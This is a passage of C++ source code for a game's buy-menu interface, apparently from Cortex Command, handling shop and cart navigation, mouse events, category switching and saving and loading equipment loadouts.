// Toggle the expansion of the module group item's items below
m_aExpandedModules[pItem->m_ExtraIndex] = !m_aExpandedModules[pItem->m_ExtraIndex];
// Re-populate the item list with the new module expansion configuation
CategoryChange(false);
}
// User pressed on a loadout set, so load it into the menu
else if (pItem && m_MenuCategory == SETS)
{
// Beep if there's an error
if (!DeployLoadout(m_ListItemIndex))
m_UserErrorSound.Play(0, m_pController->GetPlayer());
}
// User mashed button on a regular shop item, add it to cargo, or select craft
else if (pItem && pItem->m_pEntity)
{
// Select the craft
if (m_MenuCategory == CRAFT)
{
if (m_pSelectedCraft = dynamic_cast<const SceneObject *>(pItem->m_pEntity))
{
m_pCraftBox->SetText(pItem->m_Name);
m_pCraftBox->SetRightText(pItem->m_RightText);
m_pCraftNameLabel->SetText(pItem->m_Name);
m_pCraftPriceLabel->SetText(pItem->m_RightText);
UpdateTotalPassengersLabel(dynamic_cast<const ACraft *>(pItem->m_pEntity), m_pCraftPassengersLabel);
UpdateTotalMassLabel(dynamic_cast<const ACraft *>(pItem->m_pEntity), m_pCraftMassLabel);
}
}
// Regular ship inventory
else
{
// Gotto make a copy of the bitmap to pass it to the next list
GUIBitmap *pItemBitmap = new AllegroBitmap(dynamic_cast<AllegroBitmap *>(pItem->m_pBitmap)->GetBitmap());
m_pCartList->AddItem(pItem->m_Name, pItem->m_RightText, pItemBitmap, pItem->m_pEntity);
}
m_ItemChangeSound.Play(0, m_pController->GetPlayer());
}
UpdateTotalCostLabel(m_pController->GetTeam());
UpdateTotalPassengersLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftPassengersLabel);
UpdateTotalMassLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftMassLabel);
}
}
/////////////////////////////////////////
// CART/ORDER LIST focus
else if (m_MenuFocus == ORDER)
{
// Changed to the list, so select the top one in the item list
if (m_FocusChange)
{
m_pCartList->SetFocus();
if (!m_pCartList->GetItemList()->empty() && m_pCartList->GetSelectedIndex() < 0)
m_pCartList->SetSelectedIndex(m_ListItemIndex = 0);
// Synch our index with the one already selected in the list
else
{
m_ListItemIndex = m_pCartList->GetSelectedIndex();
m_pCartList->ScrollToSelected();
}
m_FocusChange = 0;
}
int listSize = m_pCartList->GetItemList()->size();
if (pressDown)
{
m_ListItemIndex++;
if (m_ListItemIndex >= listSize)
{
m_ListItemIndex = listSize - 1;
// If at the end of the list and the player presses down, then switch focus to the BUY button
m_FocusChange = 1;
m_MenuFocus = OK;
}
// Only do list change logic if we actually did change
else
{
m_pCartList->SetSelectedIndex(m_ListItemIndex);
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
}
}
else if (pressUp)
{
m_ListItemIndex--;
if (m_ListItemIndex < 0)
{
m_ListItemIndex = 0;
m_UserErrorSound.Play(0, m_pController->GetPlayer());
}
// Only do list change logic if we actually did change
else
{
m_pCartList->SetSelectedIndex(m_ListItemIndex);
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
}
}
// Get handle to the currently selected item, if any
GUIListPanel::Item *pItem = m_pCartList->GetItem(m_ListItemIndex);
// Show popup info box next to selected item, but only if it has a description
if (pItem && pItem->m_pEntity && !pItem->m_pEntity->GetDescription().empty())
{
// Show the popup box with the hovered item's description
m_pPopupBox->SetVisible(true);
// Need to add an offset to make it look better and not have the cursor obscure text
m_pPopupBox->SetPositionAbs(m_pCartList->GetXPos() - m_pPopupBox->GetWidth() + 4, m_pCartList->GetYPos() + m_pCartList->GetStackHeight(pItem) - m_pCartList->GetScrollVerticalValue());
// Make sure the popup box doesn't drop out of sight
if (m_pPopupBox->GetYPos() + m_pPopupBox->GetHeight() > m_pParentBox->GetHeight())
m_pPopupBox->SetPositionAbs(m_pPopupBox->GetXPos(), m_pParentBox->GetHeight() - m_pPopupBox->GetHeight());
m_pPopupText->SetHAlignment(GUIFont::Right);
m_pPopupText->SetText(pItem->m_pEntity->GetDescription());
// Resize the box height to fit the text
int newHeight = m_pPopupText->ResizeHeightToFit();
m_pPopupBox->Resize(m_pPopupBox->GetWidth(), newHeight + 10);
}
// Fire button removes items from the order list
if (m_pController->IsState(PRESS_FACEBUTTON))
{
m_pCartList->DeleteItem(m_ListItemIndex);
// If we're not at the bottom, then select the item in the same place as the one just deleted
if (m_pCartList->GetItemList()->size() > m_ListItemIndex)
m_pCartList->SetSelectedIndex(m_ListItemIndex);
// If we're not at the top, then move selection up one
else if (m_ListItemIndex > 0)
m_pCartList->SetSelectedIndex(--m_ListItemIndex);
// Shift focus back to the item list
else
m_MenuFocus = ORDER;
UpdateTotalCostLabel(m_pController->GetTeam());
UpdateTotalPassengersLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftPassengersLabel);
UpdateTotalMassLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftMassLabel);
m_ItemChangeSound.Play(0, m_pController->GetPlayer());
}
}
/////////////////////////////////////////
// OK BUTTON focus
else if (m_MenuFocus == OK)
{
if (m_FocusChange)
{
m_pBuyButton->SetFocus();
m_FocusChange = 0;
}
if (m_pController->IsState(PRESS_FACEBUTTON))
{
// Attempt to do the purchase
TryPurchase();
}
// Switch back focus to the order list if the player presses up
if (m_pController->IsState(PRESS_UP) || m_pController->IsState(SCROLL_UP))
{
m_MenuFocus = ORDER;
m_FocusChange = -1;
}
else if (m_pController->IsState(PRESS_DOWN) || m_pController->IsState(SCROLL_DOWN))
m_UserErrorSound.Play(0, m_pController->GetPlayer());
}
// If mouse clicked outside the buy menu, the user is considered havin g tried to buy
if (m_pController->IsMouseControlled() && m_MenuEnabled == ENABLED && m_pController->IsState(PRESS_PRIMARY) && m_CursorPos.m_X > m_pParentBox->GetWidth())
TryPurchase();
// Right click, or pie menu press close the menu
if (m_pController->IsState(PRESS_SECONDARY) || m_pController->IsState(PIE_MENU_ACTIVE))
SetEnabled(false);
//////////////////////////////////////////
// Update the ControlManager
m_pGUIController->Update();
///////////////////////////////////////
// Handle events
GUIEvent anEvent;
while(m_pGUIController->GetEvent(&anEvent))
{
if (anEvent.GetType() == GUIEvent::Command)
{
// SAVE button clicks
if(anEvent.GetControl() == m_pSaveButton)
{
m_pSaveButton->SetFocus();
SaveCurrentLoadout();
m_MenuFocus = SETBUTTONS;
// m_FocusChange = -1;
m_ItemChangeSound.Play(0, m_pController->GetPlayer());
}
// CLEAR button clicks
if(anEvent.GetControl() == m_pClearButton)
{
m_pClearButton->SetFocus();
if (!m_Loadouts.empty())
m_Loadouts.pop_back();
// Update the list of loadout presets so the removal shows up
CategoryChange();
// Save new loadout config to file
SaveAllLoadoutsToFile();
// Set focus back on the clear button (CatChange changed it)
m_pClearButton->SetFocus();
m_MenuFocus = SETBUTTONS;
// m_FocusChange = -1;
m_ItemChangeSound.Play(0, m_pController->GetPlayer());
}
// BUY button clicks
if(anEvent.GetControl() == m_pBuyButton)
{
m_pBuyButton->SetFocus();
TryPurchase();
// m_ItemChangeSound.Play(0, m_pController->GetPlayer());
}
}
else if (anEvent.GetType() == GUIEvent::Notification)
{
//////////////////////////////////////////
// Clicks on any of the category tabs
for (int cat = 0; cat < CATEGORYCOUNT; ++cat)
{
if(anEvent.GetControl() == m_pCategoryTabs[cat])
{
// Mouse hovering over
if(anEvent.GetMsg() == GUITab::Hovered)
{
// Just give focus to the categories column
m_MenuFocus = CATEGORIES;
m_pCategoryTabs[m_MenuCategory]->SetFocus();
}
// Regular click
if(anEvent.GetMsg() == GUITab::Pushed)
{
m_MenuFocus = CATEGORIES;
m_MenuCategory = cat;
m_pCategoryTabs[m_MenuCategory]->SetFocus();
CategoryChange();
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
}
}
}
//////////////////////////////////////////
// Events on the Shop List
if(anEvent.GetControl() == m_pShopList)
{
/*
// Somehting was just selected, so update the selection index to the new selected index
if(anEvent.GetMsg() == GUIListBox::Select)
{
if (m_ListItemIndex != m_pShopList->GetSelectedIndex())
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
m_CategoryItemIndex[m_MenuCategory] = m_ListItemIndex = m_pShopList->GetSelectedIndex();
}
// Mouse down, added something to cart!
else*/ if(anEvent.GetMsg() == GUIListBox::MouseDown)
{
m_pShopList->SetFocus();
m_MenuFocus = ITEMS;
GUIListPanel::Item *pItem = m_pShopList->GetItem(m_CursorPos.m_X, m_CursorPos.m_Y);
// If a module group list item, toggle its expansion and update the list
if (pItem && pItem->m_ExtraIndex >= 0)
{
// Make appropriate sound
if (!m_aExpandedModules[pItem->m_ExtraIndex])
m_ItemChangeSound.Play(0, m_pController->GetPlayer());
// Different, maybe?
else
m_ItemChangeSound.Play(0, m_pController->GetPlayer());
// Toggle the expansion of the module group item's items below
m_aExpandedModules[pItem->m_ExtraIndex] = !m_aExpandedModules[pItem->m_ExtraIndex];
// Re-populate the item list with the new module expansion configuation
CategoryChange(false);
}
// Special case: user clicked on a loadout set, so load it into the menu
else if (pItem && m_MenuCategory == SETS)
{
// Beep if there's an error
if (!DeployLoadout(m_ListItemIndex))
m_UserErrorSound.Play(0, m_pController->GetPlayer());
}
// Normal: only add an item if there's an entity attached to the list item
else if (pItem && pItem->m_pEntity)
{
m_CategoryItemIndex[m_MenuCategory] = m_ListItemIndex = m_pShopList->GetSelectedIndex();
m_pShopList->ScrollToSelected();
// Select the craft
if (m_MenuCategory == CRAFT)
{
if (m_pSelectedCraft = dynamic_cast<const SceneObject *>(pItem->m_pEntity))
{
m_pCraftBox->SetText(pItem->m_Name);
m_pCraftBox->SetRightText(pItem->m_RightText);
m_pCraftNameLabel->SetText(pItem->m_Name);
m_pCraftPriceLabel->SetText(pItem->m_RightText);
UpdateTotalPassengersLabel(dynamic_cast<const ACraft *>(pItem->m_pEntity), m_pCraftPassengersLabel);
UpdateTotalMassLabel(dynamic_cast<const ACraft *>(pItem->m_pEntity), m_pCraftMassLabel);
}
}
// Regular ship inventory
else
{
// Gotto make a copy of the bitmap to pass it to the next list
GUIBitmap *pItemBitmap = new AllegroBitmap(dynamic_cast<AllegroBitmap *>(pItem->m_pBitmap)->GetBitmap());
if (m_OwnedItems.size() > 0 || m_OnlyShowOwnedItems)
{
if (GetOwnedItemsAmount(pItem->m_pEntity->GetModuleAndPresetName()) > 0)
{
m_pCartList->AddItem(pItem->m_Name, "1 pc", pItemBitmap, pItem->m_pEntity);
}
else
{
if (m_OnlyShowOwnedItems)
{
if (IsAlwaysAllowedItem(pItem->m_Name))
m_pCartList->AddItem(pItem->m_Name, pItem->m_RightText, pItemBitmap, pItem->m_pEntity);
}
else
{
m_pCartList->AddItem(pItem->m_Name, pItem->m_RightText, pItemBitmap, pItem->m_pEntity);
}
}
}
else
{
m_pCartList->AddItem(pItem->m_Name, pItem->m_RightText, pItemBitmap, pItem->m_pEntity);
}
}
m_ItemChangeSound.Play(0, m_pController->GetPlayer());
}
// Undo the click deselection if nothing was selected
// else
// m_pShopList->SetSelectedIndex(m_SelectedObjectIndex);
UpdateTotalCostLabel(m_pController->GetTeam());
UpdateTotalPassengersLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftPassengersLabel);
UpdateTotalMassLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftMassLabel);
}
// Mouse moved over the panel, show the popup with item description
else if(anEvent.GetMsg() == GUIListBox::MouseMove)
{
// Mouse is moving within the list, so make it focus on the list
m_pShopList->SetFocus();
m_MenuFocus = ITEMS;
// See if it's hovering over any item
GUIListPanel::Item *pItem = m_pShopList->GetItem(m_CursorPos.m_X, m_CursorPos.m_Y);
if (pItem)
{
// Don't let mouse movement change the index if it's still hovering inside the same item.
// This is to avoid erratic selection curosr if using both mouse and keyboard to work the menu
if (m_LastHoveredMouseIndex != pItem->m_ID)
{
m_LastHoveredMouseIndex = pItem->m_ID;
// Play select sound if new index
if (m_ListItemIndex != pItem->m_ID)
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
// Update the seleciton in both the GUI control and our menu
m_pShopList->SetSelectedIndex(m_CategoryItemIndex[m_MenuCategory] = m_ListItemIndex = pItem->m_ID);
}
}
}
}
///////////////////////////////////////////////
// Events on the Cart List
else if (anEvent.GetControl() == m_pCartList)
{
/*
// Somehting was just selected, so update the selection index to the new selected index
if(anEvent.GetMsg() == GUIListBox::Select)
{
if (m_ListItemIndex != m_pCartList->GetSelectedIndex())
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
m_ListItemIndex = m_pCartList->GetSelectedIndex();
}
// Somehting was clicked upon, therefore should be removed
else*/ if(anEvent.GetMsg() == GUIListBox::MouseDown)
{
m_pCartList->SetFocus();
m_MenuFocus = ORDER;
GUIListPanel::Item *pItem = m_pCartList->GetSelected();
if (pItem)
{
m_ListItemIndex = m_pCartList->GetSelectedIndex();
m_pCartList->ScrollToSelected();
m_pCartList->DeleteItem(m_ListItemIndex);
// If we're not at the bottom, then select the item in the same place as the one just deleted
if (m_pCartList->GetItemList()->size() > m_ListItemIndex)
m_pCartList->SetSelectedIndex(m_ListItemIndex);
// If we're not at the top, then move selection up one
else if (m_ListItemIndex > 0)
m_pCartList->SetSelectedIndex(--m_ListItemIndex);
// Shift focus back to the item list
else
m_MenuFocus = ORDER;
UpdateTotalCostLabel(m_pController->GetTeam());
UpdateTotalPassengersLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftPassengersLabel);
UpdateTotalMassLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftMassLabel);
m_ItemChangeSound.Play(0, m_pController->GetPlayer());
}
// Undo the click deselection if nothing was selected
// else
// m_pCartList->SetSelectedIndex(m_SelectedObjectIndex);
UpdateTotalCostLabel(m_pController->GetTeam());
UpdateTotalPassengersLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftPassengersLabel);
UpdateTotalMassLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftMassLabel);
}
// Mouse moved over the panel, show the popup with item description
else if(anEvent.GetMsg() == GUIListBox::MouseMove)
{
// Mouse is moving within the list, so make it focus on the list
m_pCartList->SetFocus();
m_MenuFocus = ORDER;
// See if it's hovering over any item
GUIListPanel::Item *pItem = m_pCartList->GetItem(m_CursorPos.m_X, m_CursorPos.m_Y);
if (pItem)
{
// Don't let mouse movement change the index if it's still hovering inside the same item.
// This is to avoid erratic selection curosr if using both mouse and keyboard to work the menu
if (m_LastHoveredMouseIndex != pItem->m_ID)
{
m_LastHoveredMouseIndex = pItem->m_ID;
// Play select sound if new index
if (m_ListItemIndex != pItem->m_ID)
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
// Update the seleciton in both the GUI control and our menu
m_pCartList->SetSelectedIndex(m_ListItemIndex = pItem->m_ID);
}
}
}
}
}
}
}
//////////////////////////////////////////////////////////////////////////////////////////
// Virtual Method: Draw
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Draws the menu
void BuyMenuGUI::Draw(BITMAP *drawBitmap) const
{
AllegroScreen drawScreen(drawBitmap);
m_pGUIController->Draw(&drawScreen);
// Draw the cursor on top of everything
if (IsEnabled() && m_pController->IsMouseControlled())
// m_pGUIController->DrawMouse();
draw_sprite(drawBitmap, s_pCursor, m_CursorPos.GetFloorIntX(), m_CursorPos.GetFloorIntY());
}
/*
//////////////////////////////////////////////////////////////////////////////////////////
// Virtual Method: FocusChange
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Makes sure all things that to happen when focus is moved from one area
// or control to the next within the menu, will happen.
void BuyMenuGUI::FocusChange()
{
// Set control focus accordingly
if (m_MenuFocus == CATEGORIES)
{
if (m_pController->IsState(PRESS_DOWN))
{
m_MenuCategory++;
if (m_MenuCategory >= CATEGORYCOUNT)
m_MenuCategory = CATEGORYCOUNT - 1;
// Only do category change logic if we actually did change
else
CategoryChange();
}
else if (m_pController->IsState(PRESS_UP))
{
m_MenuCategory--;
if (m_MenuCategory < 0)
m_MenuCategory = 0;
// Only do category change logic if we actually did change
else
CategoryChange();
}
}
else if (m_MenuFocus == ITEMS)
{
m_pShopList->SetFocus();
m_pShopList->GetItemList()->size();
}
else if (m_MenuFocus == ORDER)
{
m_pCartList->SetFocus();
}
else if (m_MenuFocus == OK)
{
m_pBuyButton->SetFocus();
}
}
*/
//////////////////////////////////////////////////////////////////////////////////////////
// Virtual Method: CategoryChange
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Makes sure all things that to happen when category is changed, happens.
void BuyMenuGUI::CategoryChange(bool focusOnCategoryTabs)
{
// Re-set the GUI manager's focus on the tabs if we're supposed to
// We don't want to do that if we're just refreshing the same category, like in the case of of expanding a module group item
if (focusOnCategoryTabs)
{
m_pCategoryTabs[m_MenuCategory]->SetFocus();
m_pCategoryTabs[m_MenuCategory]->SetCheck(true);
}
m_pShopList->ClearList();
// Hide/show the logo and special sets category buttons, and add all current presets to the list, and we're done.
if (m_MenuCategory == SETS)
{
m_pLogo->SetVisible(false);
m_pSaveButton->SetVisible(true);
m_pClearButton->SetVisible(true);
// Add and done!
AddPresetsToItemList();
return;
}
// Hide the sets buttons otherwise
else
{
m_pLogo->SetVisible(true);
m_pSaveButton->SetVisible(false);
m_pClearButton->SetVisible(false);
}
// The vector of lists which will be filled with catalog objects, grouped by which data module they were read from
vector<list<Entity *> > catalogList;
if (m_MenuCategory == CRAFT)
{
AddObjectsToItemList(catalogList, "ACRocket");
AddObjectsToItemList(catalogList, "ACDropShip");
}
else if (m_MenuCategory == BODIES)
{
AddObjectsToItemList(catalogList, "AHuman");
AddObjectsToItemList(catalogList, "ACrab");
}
else if (m_MenuCategory == TOOLS)
{
AddObjectsToItemList(catalogList, "HDFirearm", "Tools");
}
else if (m_MenuCategory == GUNS)
{
AddObjectsToItemList(catalogList, "HDFirearm", "Weapons");
}
else if (m_MenuCategory == BOMBS)
{
AddObjectsToItemList(catalogList, "TDExplosive", "Bombs");
}
else if (m_MenuCategory == SHIELDS)
{
AddObjectsToItemList(catalogList, "HeldDevice", "Shields");
}
SceneObject *pSObject = 0;
const DataModule *pModule = 0;
GUIBitmap *pItemBitmap = 0;
list<SceneObject *> tempList;
for (int moduleID = 0; moduleID < catalogList.size(); ++moduleID)
{
// Don't add an empty module grouping
if (!catalogList[moduleID].empty())
{
tempList.clear();
// Move all valid/desired entities from the module list to the intermediate list
for (list<Entity *>::iterator oItr = catalogList[moduleID].begin(); oItr != catalogList[moduleID].end(); ++oItr)
{
pSObject = dynamic_cast<SceneObject *>(*oItr);
// Buyable and not brain?
if (pSObject && pSObject->IsBuyable() && !pSObject->IsInGroup("Brains"))
tempList.push_back(pSObject);
}
// Don't add anyhting to the real buy item list if the current module didn't yield any valid items
if (!tempList.empty())
{
// Add the DataModule separator in the shop list, with appropriate name and perhaps icon? Don't add for first base module
if (moduleID != 0 && (pModule = g_PresetMan.GetDataModule(moduleID)))
{
pItemBitmap = pModule->GetIcon() ? new AllegroBitmap(pModule->GetIcon()) : 0;
// Passing in ownership of the bitmap, making uppercase the name
string name = pModule->GetFriendlyName();
transform(name.begin(), name.end(), name.begin(), pointer_to_unary_function<int, int>(toupper));
m_pShopList->AddItem(name, m_aExpandedModules[moduleID] ? "-" : "+", pItemBitmap, 0, moduleID);
}
// If the module is expanded, add all the items within it below
if (moduleID == 0 || m_aExpandedModules[moduleID])
{
// Transfer from the temp intermediate list to the real gui list
for (list<SceneObject *>::iterator tItr = tempList.begin(); tItr != tempList.end(); ++tItr)
{
// Get a good icon and wrap it, while not passing ownership into the AllegroBitmap
pItemBitmap = new AllegroBitmap((*tItr)->GetGraphicalIcon());
// Passing in ownership of the bitmap, but not of the pSpriteObj
if (m_OwnedItems.size() > 0 || m_OnlyShowOwnedItems)
{
if (GetOwnedItemsAmount((*tItr)->GetModuleAndPresetName()) > 0)
{
string amount = std::to_string(GetOwnedItemsAmount((*tItr)->GetModuleAndPresetName())) + " pcs";
m_pShopList->AddItem((*tItr)->GetPresetName(), amount , pItemBitmap, *tItr);
}
else
{
if (!m_OnlyShowOwnedItems)
m_pShopList->AddItem((*tItr)->GetPresetName(), (*tItr)->GetGoldValueString(m_NativeTechModule, m_ForeignCostMult), pItemBitmap, *tItr);
else
{
if (m_AlwaysAllowedItems.find((*tItr)->GetModuleAndPresetName()) != m_AlwaysAllowedItems.end())
m_pShopList->AddItem((*tItr)->GetPresetName(), (*tItr)->GetGoldValueString(m_NativeTechModule, m_ForeignCostMult), pItemBitmap, *tItr);
}
}
}
else
{
m_pShopList->AddItem((*tItr)->GetPresetName(), (*tItr)->GetGoldValueString(m_NativeTechModule, m_ForeignCostMult), pItemBitmap, *tItr);
}
}
}
}
}
}
// Set the last saved index for this category so the menu scrolls down to it
m_pShopList->SetSelectedIndex(m_CategoryItemIndex[m_MenuCategory]);
m_ListItemIndex = m_CategoryItemIndex[m_MenuCategory];
if (focusOnCategoryTabs)
m_pShopList->ScrollToSelected();
}
//////////////////////////////////////////////////////////////////////////////////////////
// Virtual Method: SaveCurrentLoadout
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Saves the current loadout into a Set.
void BuyMenuGUI::SaveCurrentLoadout()
{
Loadout newSet;
// Abort if there's no cargo to save into the preset
if (!GetOrderList(*(newSet.GetCargoList())))
return;
int crabCount = 0;
for (list<const SceneObject *>::iterator cItr = newSet.GetCargoList()->begin(); cItr != newSet.GetCargoList()->end(); ++cItr)
{
if ((*cItr)->GetPresetName() == "Crab" && (*cItr)->GetGoldValue() == 0)
{
crabCount++;
}
else
{
crabCount = -1;
break;
}
}
if (crabCount == 10)
g_AchievementMan.UnlockAchievement("CC_10CRABS");
// Add the ship
newSet.SetDeliveryCraft(dynamic_cast<const ACraft *>(GetDeliveryCraftPreset()));
// Add it to the loadouts
m_Loadouts.push_back(newSet);
// Save the new list of loadouts to file
SaveAllLoadoutsToFile();
// Update the list of loadout presets so the new one shows up
CategoryChange();
// Set focus back on the save button (CatChange changed it)
m_pSaveButton->SetFocus();
}
//////////////////////////////////////////////////////////////////////////////////////////
// Virtual Method: DeployLoadout
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Loads the loadout set into the cart, replacing whatever's there now.
bool BuyMenuGUI::DeployLoadout(int index)
{
if (index < 0 || index >= m_Loadouts.size())
return false;
// Clear the cart, we're going to refill it with the selected loadout
m_pCartList->ClearList();
// Check if the craft is available
const ACraft * pCraft = m_Loadouts[index].GetDeliveryCraft();
if (pCraft)
{
bool craftAvailable = true;
if (IsAllowedItem(pCraft->GetModuleAndPresetName()))
craftAvailable = true;
if (IsProhibitedItem(pCraft->GetModuleAndPresetName()))
craftAvailable = false;
if (m_OnlyShowOwnedItems && craftAvailable)
{
if (GetOwnedItemsAmount(pCraft->GetModuleAndPresetName()) > 0)
craftAvailable = true;
else
craftAvailable = false;
}
if (IsAlwaysAllowedItem(pCraft->GetModuleAndPresetName()))
craftAvailable = true;
if (!craftAvailable)
return false;
}
// Get and add all the stuff in the selected loadout
list<const SceneObject *> *pCargo = m_Loadouts[index].GetCargoList();
AllegroBitmap *pItemBitmap = 0;
for (list<const SceneObject *>::iterator cItr = pCargo->begin(); cItr != pCargo->end(); ++cItr)
{
// Get a good icon and wrap it, while not passing ownership into the AllegroBitmap
pItemBitmap = new AllegroBitmap(const_cast<SceneObject *>(*cItr)->GetGraphicalIcon());
// Take into account whether these are native or not, and multiply the cost accordingly
bool canAdd = true;
if (IsAllowedItem((*cItr)->GetModuleAndPresetName()))
canAdd = true;
if (IsProhibitedItem((*cItr)->GetModuleAndPresetName()))
canAdd = false;
if (m_OnlyShowOwnedItems && canAdd)
{
if (GetOwnedItemsAmount((*cItr)->GetModuleAndPresetName()) > 0)
{
canAdd = false;
// Add manually with pcs counter
m_pCartList->AddItem((*cItr)->GetPresetName(), "1 pc", pItemBitmap, *cItr);
}
else
canAdd = false;
}
if (IsAlwaysAllowedItem((*cItr)->GetModuleAndPresetName()))
canAdd = true;
if (canAdd)
m_pCartList->AddItem((*cItr)->GetPresetName(), (*cItr)->GetGoldValueString(m_NativeTechModule, m_ForeignCostMult), pItemBitmap, *cItr);
}
// Now set the craft to what the loadout specifies, if anything
if (m_Loadouts[index].GetDeliveryCraft())
{
m_pSelectedCraft = m_Loadouts[index].GetDeliveryCraft();
// Take into account whether these are native or not, and multiply the cost accordingly
m_pCraftBox->SetText(m_pSelectedCraft->GetPresetName());
m_pCraftBox->SetRightText(m_pSelectedCraft->GetGoldValueString(m_NativeTechModule, m_ForeignCostMult));
m_pCraftNameLabel->SetText(m_pSelectedCraft->GetPresetName());
m_pCraftPriceLabel->SetText(m_pSelectedCraft->GetGoldValueString(m_NativeTechModule, m_ForeignCostMult));
UpdateTotalPassengersLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftPassengersLabel);
UpdateTotalMassLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftMassLabel);
}
// Update labels with the new config's values
UpdateTotalCostLabel();
return true;
}
//////////////////////////////////////////////////////////////////////////////////////////
// Virtual Method: AddObjectsToItemList
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Adds all objects of a specific type already defined in PresetMan
// to the current shop/item list. They will be grouped into the different
// data modules they were read from.
void BuyMenuGUI::AddObjectsToItemList(vector<list<Entity *> > &moduleList, string type, string group)
{
if (g_SettingsMan.ShowForeignItems() || m_NativeTechModule <= 0)
{
// Make as many datamodule entries as necessary in the vector
while (moduleList.size() < g_PresetMan.GetTotalModuleCount())
moduleList.push_back(list<Entity *>());
// Go through all the data modules, gathering the objects that match the criteria in each one
for (int moduleID = 0; moduleID < g_PresetMan.GetTotalModuleCount(); ++moduleID)
{
if (group.empty() || group == "All")
g_PresetMan.GetAllOfType(moduleList[moduleID], type, moduleID);
else
g_PresetMan.GetAllOfGroup(moduleList[moduleID], group, type, moduleID);
}
} else {
// Make as many datamodule entries as necessary in the vector
while (moduleList.size() < g_PresetMan.GetTotalModuleCount())
moduleList.push_back(list<Entity *>());
// Go through all the data modules, gathering the objects that match the criteria in each one
for (int moduleID = 0; moduleID < g_PresetMan.GetTotalModuleCount(); ++moduleID)
{
if (moduleID == 0 || moduleID == m_NativeTechModule)
{
if (group.empty() || group == "All")
g_PresetMan.GetAllOfType(moduleList[moduleID], type, moduleID);
else
g_PresetMan.GetAllOfGroup(moduleList[moduleID], group, type, moduleID);
}
}
}
// Remove itwms which are not allowed to buy
if (m_AllowedItems.size() > 0)
{
for (int moduleID = 0; moduleID < moduleList.size(); ++moduleID)
{
list<Entity *> toRemove;
for (list<Entity *>::iterator itr = moduleList[moduleID].begin(); itr != moduleList[moduleID].end(); ++itr)
{
bool allowed = false;
if (m_AllowedItems.find((*itr)->GetModuleAndPresetName()) != m_AllowedItems.end())
allowed = true;
if (m_AlwaysAllowedItems.find((*itr)->GetModuleAndPresetName()) != m_AlwaysAllowedItems.end())
allowed = true;
if (!allowed)
toRemove.push_back((*itr));
}
// Remove items from the list
for (list<Entity *>::iterator itr = toRemove.begin(); itr != toRemove.end(); ++itr)
moduleList[moduleID].remove((*itr));
}
}
// Remove items which are prohibited
if (m_ProhibitedItems.size() > 0)
{
for (int moduleID = 0; moduleID < moduleList.size(); ++moduleID)
{
list<Entity *> toRemove;
for (list<Entity *>::iterator itr = moduleList[moduleID].begin(); itr != moduleList[moduleID].end(); ++itr)
{
bool allowed = true;
if (m_ProhibitedItems.find((*itr)->GetModuleAndPresetName()) != m_ProhibitedItems.end())
allowed = false;
if (m_AlwaysAllowedItems.find((*itr)->GetModuleAndPresetName()) != m_AlwaysAllowedItems.end())
allowed = true;
if (!allowed)
toRemove.push_back((*itr));
}
// Remove items from the list
for (list<Entity *>::iterator itr = toRemove.begin(); itr != toRemove.end(); ++itr)
moduleList[moduleID].remove((*itr));
}
}
// Remove items which are not in stock
if (m_OnlyShowOwnedItems && m_OwnedItems.size() > 0)
{
for (int moduleID = 0; moduleID < moduleList.size(); ++moduleID)
{
list<Entity *> toRemove;
for (list<Entity *>::iterator itr = moduleList[moduleID].begin(); itr != moduleList[moduleID].end(); ++itr)
{
bool allowed = false;
for (map<string, int>::iterator itrA = m_OwnedItems.begin(); itrA != m_OwnedItems.end(); ++itrA)
{
if ((*itr)->GetModuleAndPresetName() == (*itrA).first && (*itrA).second > 0)
allowed = true;
}
if (m_AlwaysAllowedItems.find((*itr)->GetModuleAndPresetName()) != m_AlwaysAllowedItems.end())
allowed = true;
if (!allowed)
toRemove.push_back((*itr));
}
// Remove items from the list
for (list<Entity *>::iterator itr = toRemove.begin(); itr != toRemove.end(); ++itr)
moduleList[moduleID].remove((*itr));
}
}
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: AddPresetsToItemList
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Adds all loadout presets' representations to the item GUI list.
void BuyMenuGUI::AddPresetsToItemList()
{
GUIBitmap *pItemBitmap = 0;
string loadoutLabel;
float loadoutCost;
const Actor *pPassenger = 0;
char costString[256];
// Go through all the presets, making intelligible list items from then for the GUI item list
for (vector<Loadout>::iterator lItr = m_Loadouts.begin(); lItr != m_Loadouts.end(); ++lItr)
{
loadoutLabel.clear();
loadoutCost = 0;
pItemBitmap = 0;
pPassenger = 0;
// Add preset name at the begining to differentiate loadouts from user-defined presets
if ((*lItr).GetPresetName() != "None")
loadoutLabel = (*lItr).GetPresetName() + ":\n";
// Go through the cargo setup of each loadout and encode a meaningful label for the list item
for (list<const SceneObject *>::iterator cItr = (*lItr).GetCargoList()->begin(); cItr != (*lItr).GetCargoList()->end(); ++cItr)
{
// If not the first one, add a comma separator to the label
if (cItr != (*lItr).GetCargoList()->begin())
loadoutLabel += ", ";
// Append the name of the current cargo thing to the label
loadoutLabel += (*cItr)->GetPresetName();
// Adjust price for foreignness of the items to this player
loadoutCost += (*cItr)->GetGoldValue(m_NativeTechModule, m_ForeignCostMult);
